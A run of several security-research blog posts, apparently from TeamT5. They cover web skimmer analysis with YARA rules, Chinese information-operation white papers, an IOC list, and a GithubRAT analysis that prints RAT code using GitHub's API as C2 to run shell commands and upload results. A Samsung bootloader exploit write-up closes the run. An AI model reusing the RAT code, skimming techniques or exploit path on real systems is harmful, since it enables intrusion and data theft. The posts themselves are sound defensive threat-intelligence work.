![202011-2](https://res.cloudinary.com/dvgomg5gh/image/upload/v1605146684/202011-2_15be0c2208.jpg)
 3. 反編譯 System.Logger.dll 之後，檢查內容發現 module 利用 Application_BeginRequest 的特性，於網站每個頁面執行前，執行側錄程式，故不管哪個頁面的機敏資訊都能側錄。
![202011-3](https://res.cloudinary.com/dvgomg5gh/image/upload/v1605146681/202011-3_ebd6f3620b.jpg)
 4. 側錄過程於後端接收，故前端無法察覺
![202011-4](https://res.cloudinary.com/dvgomg5gh/image/upload/v1605146681/202011-4_1b178ba603.jpg)
 5. 側錄資訊
![202011-5](https://res.cloudinary.com/dvgomg5gh/image/upload/v1605146680/202011-5_bc97ae7951.jpg)

 

- **前端程式側錄**

 利用網站前端複雜的載入資源匿蹤，透過插入 javascript 於前端載入後執行，可於載入頁面側錄資訊。

 攻擊者可直接轉拋機敏資訊到遠端主機，或者於網站建立收集器，經過一段時間收集機敏資訊後，再透過其他後門程式，將機敏資訊帶走，清除蹤跡。

 運作原理拆解如下：


 1. 插入 JavaScript 到側錄機敏資訊頁面中，任意可載入資源的位置，在 http_server 設定接收主機（外部直接轉拋或內部隱匿留存），如下圖。
![202011-6](https://res.cloudinary.com/dvgomg5gh/image/upload/v1605146681/202011-6_33f67394c9.jpg)

 2. 如利用後端收集器接收，可參考下列圖片
![202011-7](https://res.cloudinary.com/dvgomg5gh/image/upload/v1605146684/202011-7_9904abacc1.jpg)

 3. 網站前端載入資源複雜，不易察覺
![202011-8](https://res.cloudinary.com/dvgomg5gh/image/upload/v1605146692/202011-8_d2c677c5c1.jpg)

 4. 側錄資訊
![202011-9](https://res.cloudinary.com/dvgomg5gh/image/upload/v1605146691/202011-9_ccfef7c3ab.jpg)

 

## 影響與建議

* 自動化或定期檢查程式碼是否被竄改，並做好版本控管
* 透過 TeamT5 [ThreatSonar](https://teamt5.org/tw/products/threatsonar/) 檢查是否有攻擊者活動跡象
 * 檢查是否有後門程式、webshell
 * 是否有可疑連線 C2
* 使用以下 yara rule 掃描網站目錄，檢查是否存在側錄模組

```
rule IIS_Module_sniffer
{
	meta:
		author = "jason3e7"
		description = "detect IIS module sniffer"
		date = "20201110"
	strings:
		$c0 = "IHttpModule" wide ascii
		$c1 = "Application_BeginRequest" wide ascii
		$c2 = "Request" wide ascii
		$c3 = "Form" wide ascii
		$c4 = "StreamWriter" wide ascii
		$c5 = "WriteLine" wide ascii
		$c6 = "Write" wide ascii
	condition:
		$c0 and $c1 and ($c2 and $c3) and $c4 and ($c5 or $c6) 
}
```

 

*圖片來源：[Pixabay](https://pixabay.com/vectors/lock-security-credit-card-5459714/)

打倒夢靨！電子商務安全不再沉睡！！信用卡與個資竊取案例分析

在 TeamT5〈資訊戰白皮書〉的最後一部曲中，我們將呈現中國的資訊作戰（Information Operation）是如何瞄準全球社群媒體使用者。TeamT5 希望透過這系列白皮書，分享我們作為資安研究員，如何理解中國的社群操弄。

此份白皮書的前兩個章節，介紹中國檯面上與檯面下的行動。首先觀察中國在檯面上（overt operation）如何透過中國的官媒、大使館、外交官，在社群媒體創造自己的聲量。接著分析中國檯面下的行動（covert operation），進一步研究那些無法被輕易歸因的粉絲頁、內容農場與大量的僵屍帳號。最後一章將以 PTT 論壇上關於 Juiker 的假新聞攻擊為例，提出資訊戰當中，我們最擔心的 —— 由「進階持續性滲透威脅」（APT）發起的假新聞攻擊。

 
## 報告摘要

### 1. 中國持續透過官媒與外交官進行檯面上的社群操弄

中國的官媒、外交官、大使館是中國檯面上的主要行動者。這些行動者負責美化中國外在形象，以及散播對中國執政黨有利的論述。根據我們的觀察，這些帳號在西方社群媒體中都擁有大量的追蹤者，Facebook 粉絲頁中，追蹤數排名世界前 20 名的新聞媒體，第一名到第四名就是由中國官媒粉絲頁 CGTN、China Daily、People's Daily、Xinhua News 包辦。中國檯面上的社群操弄，主要針對位在美國、加拿大、澳洲等英語系國家的海外華人，並透過他們對當地的政治進行一定影響。
 
### 2. 檯面下的社群操弄持續在西方主流社群平台出沒

2020 年，西方主流社群平台 Facebook、Twitter、Google 等，都曾數次移除各自平台上與中國有關的假帳號。儘管平台方已如此頻繁地掃蕩，許多隱匿的行動者仍然在各大平台上出沒，那些曾遭移除的帳號背後，有行動者持續透過註冊新網域和帳號捲土重來。我們不斷觀察到許多可疑帳號，例如許多擁有中國管理員的粉絲頁，會搬運微博上的政治宣傳。更有甚者，我們發現許多配備精良的攻擊者，會自己架設網站和疑似是自動化產生的僵屍帳號，來協助中國政府攻擊香港抗爭者。
 
### 3. APT 攻擊者很可能參與了社群媒體上的資訊戰

我們擔心 APT 攻擊者很可能參與了社群媒體上的資訊戰。APT 通常是由一個國家所支持的駭客團體，以竊取機敏資料為主，APT 的攻擊者往往具備了強悍的網路攻擊手法與資源。然而，我們今年偵察到了一個可能是由 APT 攻擊者發動的假新聞攻擊。該事件發生在 2020 年七月，PTT 論壇八卦版上，開始有許多被盜用的帳號以假新聞攻擊台灣重要軍事單位，造謠台灣公務機關使用的 Juiker 通訊軟體遭駭，以及台灣重要軍事機關遭駭。我們透過搜索比對貼文與發文 IP，發現其中一個 IP 位址，符合某個中國 APT 曾經使用過的中繼站。
 
### 4. 威脅情資作為對抗資訊戰的重要環節

如同前述的分析脈絡，APT 與社群操弄的結合會讓防守方更加棘手。在棘手的防守環境中，唯有威脅情資（threat intelligence）可以提供即時的分析，評估攻擊者的攻擊手法、可疑的指標、以及造成的風險。而在快速更迭的社群媒體環境中，平台方與事實查核團體非常難找到證據，歸因大量散播的假新聞。我們認為唯有導入威脅情資，才能有效幫助政府單位、重要關鍵基礎設施與企業，對抗資訊戰。
 


若您對我們的白皮書有興趣，請填寫以下表單，取得完整的研究報告。
 
 
追蹤 TeamT5 [Twitter](https://twitter.com/TeamT5_Official)，資安動態不漏接！

TeamT5〈資訊戰白皮書三部曲：中國的社群操弄〉

In the final part of our Information Operation White Paper, we will demonstrate China's Information Operations (InfoOps) targeting the global audience. The first part of the report displays a brief overview of its overt operations which are carried out by state media, embassies, and diplomats. Then we look into the covert operations, which can be observed in pro-China fan pages, content farms, and spam botnet. Last but not least, we provide the case study of "Operation Juiker" on Taiwan's largest forum PTT, which suggests the possibility of the APT (Advanced Persistent Threat) actors entering the threat landscape.

## Key Takeaways

### 1. China has escalated the level of overt InfoOps via state-media and diplomats.
 
 
Chinese state media, diplomats, and embassies are the main actors of Chinese overt InfoOps. They shoulder the task to polish the image of the regime and propagate the narrative of the Chinese Communist Party (CCP). It is noteworthy that their official accounts have obtained an unexpected number of followers in recent years. For instance, four Chinese state media are included in the top 20 most-followed pages on Facebook. Their main audience, apart from the Chinese citizens, are overseas Chinese diaspora, which many of them have rights to vote in countries such as the U.S., Canada, and Australia, thus having the ability to influence a country's politics.
 
 
### 2. Covert InfoOps remain active on Western social media platforms.
 
 
2020 is a year which has set many records. This year, the takedowns of covert Chinese social media accounts by Facebook, Twitter, and Google are more frequent than ever. However, even with such efforts, we observed that there are new covert actors emerging across the platforms, while the banned actors keep coming back to the scene by registering new domains and new accounts. We spotted that there is a huge number of Facebook pages with admins located in China dedicated to disseminating Chinese propaganda content originated from Chinese social media platform, Weibo. Besides, there are sophisticated actors that create websites and subtle content to help the Chinese government shaping the narrative for the Hong Kong protest. We also detected numerous networks of pro-China political accounts that demonstrated strong signs of automated behavior.
 
 
### 3. APT actors might have entered the InfoOps threat landscape.
 
 
The situation is become more alarming as we discovered that the Advanced Persistent Threat (APT) actors might have entered the InfoOps threat landscape. APT actors, typically a state-sponsored group, usually conduct prolonged and targeted cyberattacks to mine highly sensitive data. However, in mid-2020, we identified an InfoOp that can be linked to a notorious Chinese APT group which TeamT5 intelligence team has tracked for years. We discovered that the threat actors had disseminated disinformation about "Juiker," a messaging app developed by Taiwan's research institute and widely used by government units, on Taiwan's largest forum PTT. The operation, which we dub as "Operation Juiker," aimed to discredit Taiwan's intelligence agency and government-backed research institute by spreading disinformation of the messaging app being hacked.
 
 
### 4. It is more crucial than ever to adopt threat intelligence solutions to combat the issue.
 
 
The abovementioned Operation Juiker has well demonstrated the possibility of "APT + InfoOp" attack model, which involves targeted social media campaigns disseminating disinformation based on highly confidential data. Such situation is super tricky, and it could pose a great threat to democratic countries. In this case, threat intelligence can help provide instant analysis of actor methodologies, suspicious indicators, and potential risks. We suggest that it is crucial for government units, critical infrastructure operators, and major business vendors to apply threat intelligence to combat this issue.
 
 

If you are interested in this white paper, please fill out the form below and get the full-text PDF.
 
 
And don't miss our blog updates! Follow us on [Twitter](https://twitter.com/TeamT5_Official).

TeamT5 Information Operation White Paper III: China’s Social Manipulation outside the Great Firewall

インフォメーション オペレーション

Information Operation

Container Escape 101

## 前言

法務部調查局綜整近期所偵辦的數起台灣政府機關遭駭案件，於 19 日發表記者會，提到政府部門的委外資訊服務供應商遭中國駭客組織攻擊現況，目前已知有市政府、水資源局等至少 10 個單位，以及 4 家資訊服務供應商遇害。

調查局資安工作站也發現，駭客在入侵政府機關內部的主機與伺服器後，為了要長期潛伏以及將獲取資料傳出，還會安裝 SoftEther VPN 程式，以連線到駭客指定的中繼站。

本次調查局公布的攻擊族群：MustangPanda、APT40、Blacktech 與 Taidoor，皆是 TeamT5 長期追蹤的標的，我們有信心能夠偵測這些族群使用的後門程式、駭客工具以及攻擊手法。

![0822-1](https://res.cloudinary.com/dvgomg5gh/image/upload/v1598021396/0822-1_2529e698d3.png)
*圖一、駭客透過供應鏈攻擊我政府機關 -1（圖片來源：法務部調查局）*

![0822-2](https://res.cloudinary.com/dvgomg5gh/image/upload/v1598021396/0822-2_a119c17629.png)
*圖二、駭客透過供應鏈攻擊我政府機關 -2（圖片來源：法務部調查局）*

 

## IOC 情資
TeamT5 長期進行駭客追蹤研究，根據法務部調查局所提供的情資內容，關聯出駭客族群慣用的惡意程式與相關 IOC 情資供使用者匯入至閘道端或端點防護設備比對使用，詳細惡意程式說明與 IOC 清單如下所示。

 

|惡意程式家族|類型|描述|攻擊族群|首次出現|
|----|----|----|----|----|
|dbgPrint |RAT |dbgPrint 為中國駭客族群 HUAPI 慣用的後門程式，其名稱來自於該後門程式早期版本的字串(strings)內容。dbgPrint 後門程式通常由 PE 型態的 Loader、插入 shellcode 的 DLL 檔及惡意 Payload 所組成。同時也具備防毒免殺(anti-antivirus)的功能模組。|HUAPI (又稱為 Plead 或 Blacktech)|2009 年|
|CobaltStrike Beacon |RAT |Cobalt Strike 是一款滲透測試或紅隊演練常使用的攻擊框架，而 CobaltStrike Beacon 則是從 Cobalt Strike 攻擊框架所產生的惡意 Payload。雖然 Cobalt Strike 為商業付費工具，但是經過破解並流傳於許多論壇或網站中，因此有許多駭客皆透過他進行惡意攻擊。|商業付費工具，無法明確定義出背後的攻擊族群|2016 年|

*表一、惡意程式分析說明*

 
 

|IOC|類型|提供來源|
|----|----|----|----|
|manage.lutengtw.com|Domain|法務部調查局|
|dccpulic.lutengtw.com|Domain|法務部調查局|
|trust.utoggsv.com|Domain|法務部調查局|
|wg1.inkeslive.com|Domain|法務部調查局|
|k3ad01.rutentw.com|Domain|法務部調查局|
|ams05.csksogo.com|Domain|法務部調查局|
|edgekey.whybbot.com|Domain|法務部調查局|
|shed.inkeslive.com|Domain|法務部調查局|
|ap21.gckerda.com|Domain|法務部調查局|
|cornerth.com|Domain|法務部調查局|
|teamcorner.nctu.me|Domain|法務部調查局|
|43.240.12.81|IP Address|法務部調查局|
|45.124.25.31|IP Address|法務部調查局|
|45.124.25.226|IP Address|法務部調查局|
|103.193.149.26|IP Address|法務部調查局|
|103.240.202.34|IP Address|法務部調查局|
|a8373a143a915518a33c4af19fff01e7|MD5 Hash|TeamT5|
|20714b487b5b63ff8e52b911d19d6da1|MD5 Hash|TeamT5|
|6c490c833bfff677c89d9bb81bef0cf5|MD5 Hash|TeamT5|
|d395580fea6fb840798dc1ee65756484|MD5 Hash|TeamT5|
|4a1941df8b251716f66e2777425ac0e5|MD5 Hash|TeamT5|
|c11f40af68c07b309bd103d69b7bb14a|MD5 Hash|TeamT5|
|387fe30ffc270939c299d1eaebcdcd4d|MD5 Hash|TeamT5|
|93bfdce35e3ab86508e09deedca6552f|MD5 Hash|TeamT5|
|1857fbce5c5269a1d4e40204ccccd7d1|MD5 Hash|TeamT5|
|www.kaspersky-security.net|Domain|TeamT5|
|www.symantec-endpoint.net|Domain|TeamT5|
|www.symantec-product.com|Domain|TeamT5|
|update.symantec-product.com|Domain|TeamT5|
|update.trendmicro-service.com|Domain|TeamT5|
|googleupdatesrv.com|Domain|TeamT5|
|103.234.96.213|IP Address|TeamT5|
|103.242.0.152|IP Address|TeamT5|
|43.240.12.80|IP Address|TeamT5|
|43.240.12.82|IP Address|TeamT5|
|43.240.12.83|IP Address|TeamT5|
|45.32.43.59|IP Address|TeamT5|
|45.76.189.109|IP Address|TeamT5|

*表二、IOC 清單*

 

ThreatSonar 惡意威脅鑑識分析平臺的用戶，可將上方表二之 IOC 匯入以強化威脅偵測與識別，亦可追溯比對過去資料是否命中 IOC。示意圖如下。

![0822-3.2](https://res.cloudinary.com/dvgomg5gh/image/upload/v1598078952/0822-3.2_a52efbee16.png)
*圖三、ThreatSonar 支援 Hash、IP 及 Domain IOC 情資匯入*

 

## 如何透過威脅狩獵找出 SoftEther VPN 程式
根據法務部調查局的偵辦結果，駭客為了長期潛伏於受害環境，因此會透過 SoftEther 這類的合法 VPN 程式進行遠端控制。ThreatSonar 具備主動威脅狩獵（Threat Hunting）功能，故可以快速地在環境中找出 SoftEther VPN 程式。

其步驟為在威脅狩獵（Hunter）功能中，切換 Scope 至憑證（Certificate），搜尋 "filename ~ softether"（請選擇 Engine Version 為全選），可依憑證內容搜尋環境內符合條件的 SoftEther 憑證及其對應的端點與程式清單。其流程步驟示意圖如下。

![0822-4.2](https://res.cloudinary.com/dvgomg5gh/image/upload/v1598078952/0822-4.2_7ff72c52b4.png)
*圖四、以 filename 查詢符合條件的 SoftEther 憑證*

 

![0822-5.2](https://res.cloudinary.com/dvgomg5gh/image/upload/v1598078951/0822-5.2_63428b1e98.png)
*圖五、具備 SoftEther 憑證的端點與程式清單*

 

![0822-6.2](https://res.cloudinary.com/dvgomg5gh/image/upload/v1598078951/0822-6.2_418ed6f1a2.png)
*圖六、駭客將 SoftEther VPN 程式偽裝成 svchost.exe*


*圖片來源：[Unsplash](https://unsplash.com/photos/8OyKWQgBsKQ)

調查局 08/19 公布中國對台灣政府機關駭侵事件說明

## 前言
TeamT5 近期於台灣某政府機關發現駭客入侵事件，駭客於受害端點上植入遠端控制程式（Remote Access Tool, RAT）。特別之處在於，駭客透過 GitHub 雲端服務做為中繼站，藉此規避網路閘道端資安設備的偵測與攔阻。下圖為該受害主機向中繼站報到時，所回傳的端點資訊，可清楚看出該端點的域名為台灣政府機關。

![202008-1](https://res.cloudinary.com/dvgomg5gh/image/upload/v1597022323/202008-1_2e7fc527df.png)
_圖一、台灣某政府單位受駭_

## 技術分析
TeamT5 分析此 GithubRAT 後門程式，發現原為 Python Script，透過 PyInstaller 封裝為 Windows 執行檔。

GithubRAT 執行後，會透過 api.github.com 連線至駭客的 Github 專案（Repository），並將駭客下達指令的結果回傳至 Github 專案上，其檔名為 Base64 編碼後的受害電腦名稱，網路封包如下圖所示。

![202008-2](https://res.cloudinary.com/dvgomg5gh/image/upload/v1597022324/202008-2_6b4b387c8f.png)
_圖二、GithubRAT 使用 api.github.com 作為惡意中繼站_

 

TeamT5 分析 GithubRAT 惡意程式運作原理，將其執行步驟拆解如下：

 1. 連線至駭客的 Github 專案，如下所示。
 
 ```
 def __init__(self):
 self.back_git_heart = 'https://api.github.com/repos/{}/{}/contents/{}/{}/{}'.format(B_USER, B_PROJECT, B_PATH, B_ACTION_HEART, self.back_sid)
 self.back_git_cmd = 'https://api.github.com/repos/{}/{}/contents/{}/{}/{}'.format(B_USER, B_PROJECT, B_PATH, B_ACTION_CMD, self.back_sid)
 self.back_git_answer = 'https://api.github.com/repos/{}/{}/contents/{}/{}/{}'.format(B_USER, B_PROJECT, B_PATH, B_ACTION_ANSWER, self.back_sid)
 self.back_git_token = 'https://api.github.com/repos/{}/{}/contents/{}/{}'.format(B_USER, B_PROJECT, B_PATH, 'token')
 ```
 
 2. 將電腦名稱透過 Base64 編碼並註冊回傳至 Github 專案中。
 3. 從 Github 專案下載駭客的控制指令。
 4. 利用命令提示字元 cmd.exe 執行駭客指令，如下所示。

 ```
 def back_cmd(self, command):
 _t_data = 'timeout'
 p = subprocess.Popen(command, shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE, universal_newlines=True)
 _t = 10
 while _t > 0:
 time.sleep(1)
 if p.poll() == 0:
 _t_data = p.stdout.read() + p.stderr.read()
 break
 _t = _t - 1
 return _t_data
 ```
 
 5. 將指令執行之結果回傳至 Github 專案中，如下所示。

 ```
 def _put_git_answer(self, data):
 _result_status = False
 _status, _sha = self._get_git_hash(self.back_git_answer)
 d = {'message': 'my commit message',
 'content': base64.b64encode(data),
 'sha': _sha
 }
 headers = {'Authorization': 'token ' + B_TOKEN,'user-agent': B_USER_AGENT}
 try:
 r = requests.put(url=self.back_git_answer, data=json.dumps(d), headers=headers)
 if not _status and r.status_code == 201:
 _result_status = True
 if _sha and r.status_code == 200:
 _result_status = True
 except Exception as e:
 pass
 return _result_status
 ```
 
 6. 不斷重複步驟 3 至步驟 5。

 

另外，我們也發現駭客放置許多惡意程式於該 Github 專案中，其中包含密碼竊取（Password Dump）、漏洞利用（Exploit）及後門（Backdoor）等惡意程式，其詳細清單如下表所示。

|Hash|說明|
|---|---|
|a5f12ee032af8e8dd5a373f611f64726|Backdoor Loader|
|944465a0edd09d8eb569630a68ee111c|Cobalt Strike Payload|
|e5ed0de0100f670324202bbf5982a80a|Cobalt Strike Payload|
|4f67e80118dcc4a42ebcb2af2cad65ce|Hacktool，CVE-2014-4113 Exploit|
|0468a816c167ca5ad301dc408eb19fb5|HackTool，Chrome Password Dump|
|b33c7c022e1a25a981faabfc0fe53f6d|HackTool，AD Password Brute-Force Tool|
|5178eb048ecaed83b69aa277a7c6d784|HackTool，NETBIOS NameServer Scanner|
|2f9b582378c559ca66b48abd51f436a0|HackTool，TCP Port Banner Scanner|
|aad8b062891c0715a1842270c0a871eb|HackTool，MS-17-010 Eternalblue Scanner|
|41e32076f2e75181ce9f1cac6099a918|HackTool，MS-17-010 Eternalblue Scanner|
|1a41f9550964ada62f87f6a0b79e37ba|HackTool，NETBIOS NameServer Scanner|
_表一、駭客 GitHub 專案中的惡意程式列表_

## 影響與建議
由於許多單位都會使用 Github 服務作為版本控制之用，因此對 Github 的存取都會是許可的狀態，這也變成駭客反過來利用的機制。駭客利用大眾對於雲端服務的需求，轉而透過該雲端服務作為中繼站，遠端控制受害電腦。同時，該 GithubRAT 係透過 PyInstaller 進行封裝，駭客使用其他封裝工具即可快速改變檔案雜湊值，因此 TeamT5 建議可透過網路連線紀錄來威脅狩獵（Threat Hunting），找尋環境內是否有密集且定期的 api.github.com 連線紀錄，藉此找出環境中異常的網路存取連線。

最後，若單位遭遇進階持續性威脅（Advanced Persistent Threat, APT）時，建議可使用 TeamT5 的 ThreatSonar 惡意威脅鑑識分析平臺，可有效偵測此類進階攻擊手法，並快速完成事件關聯與回應。TeamT5 建議可將下方威脅指標（Indicator of Compromise, IOC）匯入各式資安設備中，強化威脅偵測與識別。

* 表一中所有的惡意程式雜湊值
* Yara Rule

```
rule RAT_Github
{
 meta:
 description= "detecting GithubRAT memory"
 author = "TeamT5"
 date = "2020-08-05"
 
 strings:
 $str1 = "pyi-windows-manifest-filename"
 $str2 = "https://api.github.com/repos/{}/{}/contents/{}/{}"
 $str3 = "back_cmd"
 $str4 = "put_git_answer" 
 
 all of them
}
```

![202008-3](https://res.cloudinary.com/dvgomg5gh/image/upload/v1597022324/202008-3_222c942e82.png)
_圖三、ThreatSonar 供資安人員快速匯入 Yara Rule 並自訂威脅等級_


*圖片來源：[Unsplash](https://unsplash.com/photos/Bb_X4JgSqIM)

Github 不再只是版控平台，還是 APT 後門中繼站

面對中國日趨積極、強烈的資訊操弄（Social Manipulation），TeamT5情資團隊以資訊安全研究員的視角，推出最新的〈資訊戰白皮書二部曲〉（Information Operation White Paper），進一步分析中國在「防火長城」（Great Firewall）內，如何透過社群媒體進行數位政治宣傳（Digital Propaganda）。

除了廣為人知的言論審查制度，中國在防火長城內的資訊操弄，更包含主動的數位政治宣傳。從2019年香港反送中抗爭事件，到2020年的新冠肺炎疫情，我們可以清楚看到中國越來越「爐火純青」的數位政治宣傳實力。防火長城內對社群媒體的操控，神秘、難以探知，中國更設法將牆內轉化成中國共產黨的「一言堂」，阻止了理性政治討論的可能性。

在〈資訊戰白皮書二部曲〉中，我們聚焦於：

1.	近年來，中國藉由大量的網路相關立法與集中整併政府資源，強化網路控制。而控制公眾言論的數位政治宣傳，就是中國網路治理的「最後一哩路」。

2.	我們認為中國的數位政治宣傳機制，依循著一個極為有效的「配方」（Digital Propaganda Formula），由四個要素組成：官方媒體、共青團、政務新媒體，以及中國的水軍大隊。

3.	在中國政府資源帶領下，「輿情引導產業」興起，提供人工智慧與大數據工具，替政府收集、儲存、進而分析網路民意。

4.	我們認為，中國藉著其政治宣傳配方來穩定牆內的網路生態，而下一步，就是要將自身在西方社群媒體的影響力，擴張到國外，競逐世界話語權。

在疫情之後，網路世界成為新常態（new normal）不可或缺的一部分。但於此同時，也讓網路威脅，不論是傳統駭客行動者或是社群媒體操弄者（influence operators），有更多機會發動攻擊。TeamT5情資團隊致力於傳遞有用的情資與協助決策的分析報告，希望對提升網路安全盡一份心力。

若您對我們的白皮書有興趣，請填寫以下表單，取得完整的研究報告。

 

**下期預告**

在接下來的〈資訊戰白皮書三部曲〉中，我們將討論中國對外的政治宣傳，看中國政治宣傳機器的現況與其影響，以及中國在西方社群媒體平台上的資訊作戰。

不想錯過我們接下來發布的報告，請追蹤我們的 [Twitter](https://twitter.com/TeamT5_Official)。

TeamT5〈資訊戰白皮書二部曲：中國防火長城內的數位政治宣傳〉

To confront the emerging threat of China's Information Operation, TeamT5 threat intelligence team publishes this White Paper covering how China conduct information manipulation across Chinese social media platforms. From the 2019 Hong Kong Protest to the 2020 COVID-19 pandemic, China has demonstrated the art of surveillance, censorship, and most importantly, digital propaganda.

In this white paper, we focus on China's digital propaganda inside the Great Firewall. We suggest that the regime has developed a unique, organizational, and sophisticated propaganda mechanism, which we dub as "digital propaganda formula." With this formula, the Chinese Communist Party (CCP) has managed to transform all the Chinese social media platforms inside the Great Firewall into an almost total pro-CCP environment.

## Key Takeaways

1. CCP has strengthened its control over Chinese cyberspace by establishing legislations as well as centralizing administrations, and the "last mile" of its cyber governance is to control public opinion through censorship and digital propaganda.

2. We dub China's sophisticated propaganda mechanism the "digital propaganda formula," which consists of state media, communist youth league, governmental affairs new media, as well as trolling factory.

3. Moreover, CCP's policies have bolstered the industry of "public opinion guidance" in China. The industry practitioners have developed AI and big data-powered systems to help the government to collect, store, and analyze public sentiment.

4. China's formula has polluted the online information environment inside the Great Firewall. We assess that the CCP is trying to project its digital propaganda dominance to foreign social media platforms in order to control the world's discourse power. 

Following the global pandemic, the world relies on the internet more than ever. Cyber threat actors and influence operators, either state-backed or money driven, are taking the advantage to conduct information operation. TeamT5 threat intelligence team aims to deliver actionable intelligence and penetrating analytics and contribute to the safeguarding of cyberspace.

If you are interested in this white paper, please fill out the form below and get the full-text PDF.

 

**COMING UP NEXT**

In Part 3 of our Information Operation White Paper, we will focus on the external propaganda of the CCP. We will provide an overview of the current status and impact of Chinese propaganda machine and information operation on Western social media platforms, such as Facebook, Twitter, and YouTube.

If you don't want to miss our next report, follow us on [Twitter](https://twitter.com/TeamT5_Official).

TeamT5 Information Operation White Paper II: China’s Digital Propaganda Formula inside the Great Firewall

## About D39

D39 focuses on vulnerability research and has identified several critical security flaws, including technical exploitation of mobile, IoT devices, and Linux and Windows operating systems. We have reported dozens of vulnerabilities and dedicate to Samsung Vulnerabilities and Exposures (SVE) and Common Vulnerabilities and Exposures (CVE).

Before diving into the main subject this month, we are glad to announce that TeamT5 is again accepted at Black Hat USA, and our vulnerability research team, D39, will talk at the Black Hat Briefings in the upcoming August. We are honored to share our research findings with researchers and security experts all over the world and expect more recognition of Taiwan's vulnerability researchers in the world.

![](https://res.cloudinary.com/dvgomg5gh/image/upload/v1591769445/D39_6-1_6807f98c9b.png)
[Black Hat Session](https://www.blackhat.com/us-20/briefings/schedule/index.html#breaking-samsungs-root-of-trust-exploiting-samsung-s-secure-boot-20290)

This article will cover a part of our talk at Black Hat USA in August.

## Introduction

We have found several vulnerabilities in Samsung Secure boot, which can break through Samsung Knox protections. We can even retrieve users' sensitive data from a locked device. The affected Samsung mobiles include Galaxy S8, S9, and S10. Patches to these vulnerabilities have been provided by Samsung.

One of these vulnerabilities allows attackers to execute arbitrary code in Galaxy S8 secure bootloader to access the device. In this article, we will elaborate how we exploit these vulnerabilities to bypass S8 secure bootloader through the USB device and obtain arbitrary code execution in early boot stage.

Note: Another security research team found this vulnerability at the same time and report it to Samsung.
ID: SVE-2019-15230 (details below).
![](https://res.cloudinary.com/dvgomg5gh/image/upload/v1591769435/SVE-2019_3bc5eea84d.png)

## KNOX

![](https://res.cloudinary.com/dvgomg5gh/image/upload/v1591769436/D39_6-2_ee457f68cd.png)
[Image courtesy](https://docs.samsungknox.com/whitepapers/knox-platform/hardware-backed-root-of-trust.htm)

As the market leader of smartphone, Samsung conducts a series of protection on Android, known as the Knox Platform, to ensure the security of its devices. During the booting process, Samsung uses S-boot (Secure Boot) to make sure it can only boot a stocked image. If the device tries to boot a custom image, it will trip (turned from 0X0 to 0X1) a one-time programmable bit e-fuse (a.k.a Knox bit). Once a trustzone app (trustlet) detects the Knox bit tripped, it will delete the encryption key of sensitive data to prevent unauthorized data from accessing the locked device.

## Vulnerability

Smartphones with Samsung Exynos processor use a exclusive secure bootloader named S-boot. S-boot has ODIN mode which allows users to upgrade the firmware manually. Due to the insufficiency in its code, the flash command (opcode: 0x66) in ODIN mode is not able to properly check the flash image size, which leads to buffer overflow.

The flash command in ODIN mode uses a temporary buffer to store the image. In Galaxy S8, the buffer is located at 0xC0000000, right in front of sboot code segment (0xC9000000). Although the system will check to ensure that the size being no larger than 0x1e0000, it uses signed comparison to check the size of the image; thus provide us some space to get around. We therefore provide a size larger than 0x80000000, making buffer overflowed and, in the end, the following segments such as code, stack, and heap will be overwritten.

![](https://res.cloudinary.com/dvgomg5gh/image/upload/v1591769435/D39_6-3_8b038e080e.png)

## The Exploit

### Code Execution

Although we can overflow the code segment of S-Boot, we still cannot hijack the execution flow. Since USB receivers use physical memory to hold the data it received directly, we cannot affect instruction cache unless the cache line has been invalidated.

Fortunately, the heap segment is not cached due to MMU flag. There are some pointers stored in the heap segment, which can be accessed during the USB process. If we overwrite these pointers with null bytes, the processor will trigger an exception and trap into the exception handler while accessing to NULL pointers. Since the handler has never been executed, it is not cached in the instruction cache. Therefore we can also overwrite the exception handler simultaneously and hijack it directly to our shellcode.

![](https://res.cloudinary.com/dvgomg5gh/image/upload/v1591769437/D39_6-4_58c7cc6a95.png)

### Booting Custom Kernel

Since all the run-time data has been overwritten -- including stack, heap and global variables -- the sboot fail to perform further booting operation. These kinds of data are difficult to recover, so we must re-execute the booting process.

Under normal condition, S-boot calls several functions in a particular function table which is located at 0xC90C7350. To re-execute s-boot, these functions have to be invoked sequentially again. They would initialize the memory of heap and stack, set the global variables, and boot the kernel at the end. However, these functions also involve some SMC calls which cannot be executed twice. Since we only compromised EL1 (Exception Level 1), the trustzone in EL3 (Exception Level 3) cannot be reverted. As a result, we have to overwrite these SMC calls with NOP instruction while overflowing the code segment to ignore those SMC (System Management Controller) calls.

After all the run-time data has been reset, we replace the original kernel with our custom one. Then we execute one last function to boot our custom kernel and get the **root privilege without blowing KNOX bit**.

![](https://res.cloudinary.com/dvgomg5gh/image/upload/v1591769436/D39_6-5_2f6b6f9ccd.png)

## Timeline

2019-10-02 Report Vulnerability
 
2019-10-08 Informed Vulnerability duplicated and release patch note

## Appendix: Potential Exploit Path on Galaxy S10

According to our analysis, this vulnerability affects Galaxy S9, Galaxy S10 and Galaxy Note 10 as well. Among them we find that exploitation can still be trigger at different address. For instance, even the temporary buffer located at different addresss, like 0x890000000 in Galaxy S10, there are still chances to exploit it. To explain the complete exploitation flow, we choose the firmware, G970FXXU1ASD5, as an example.

In Galaxy S9 and later version, there is another feature added to the secure boot - compressed_download. It uses another buffer to store the flash image. However if compressed_download failed during the initialization, it will fallback to normal download, and use the buffer (0xC0000000) to store the flash image.

![](https://res.cloudinary.com/dvgomg5gh/image/upload/v1591769435/D39_6-6_724f86aa51.png)

To make S-boot fallback to normal download, we have to make the function `cd_v3_smp_register` fail. After reversing, we noticed that the function `cd_v3_smp_register` may return failed if there is no available core(`booted_cores` > 3) can be booted. Coincidentally, there is a test command - "smp_boot_test" in the UART (Universal Asynchronous Receiver/Transmitter) console. The command smp_boot_test will boot a core and add the count of the booted_cores. Although `smp_boot_test` shutdown the booted up core immediately, it didn't restore the count. Therefore, the compressed_download_init may failed if the command `smp_boot_test` has been invoked more than twice before entering the download mode.

If we have the UART debug cable to get the UART console, we can call the command`smp_boot_test` 3 times and enter the download mode via the command `usb`. The `compressed_download_init` would fail, then the temporary buffer fallback to 0xC0000000. Therefore the arbitrary code execution on S10's bootloader can be achieved as the one in Galaxy S8.

We managed to build our own TypeC debug cable at first. However, after trying every kinds of Pull-up/down resistor value, TypeC accessory mode, TypeC VDM, we cannot yet figure out a cable for RID_523K detection. Still, in the end, we applied other approach that enable us to attain **Galaxy S10 Secure Bootloader's permission of arbitrary code** without having debug cable.

We will have a thorough display on Black Hat. Stay tuned!

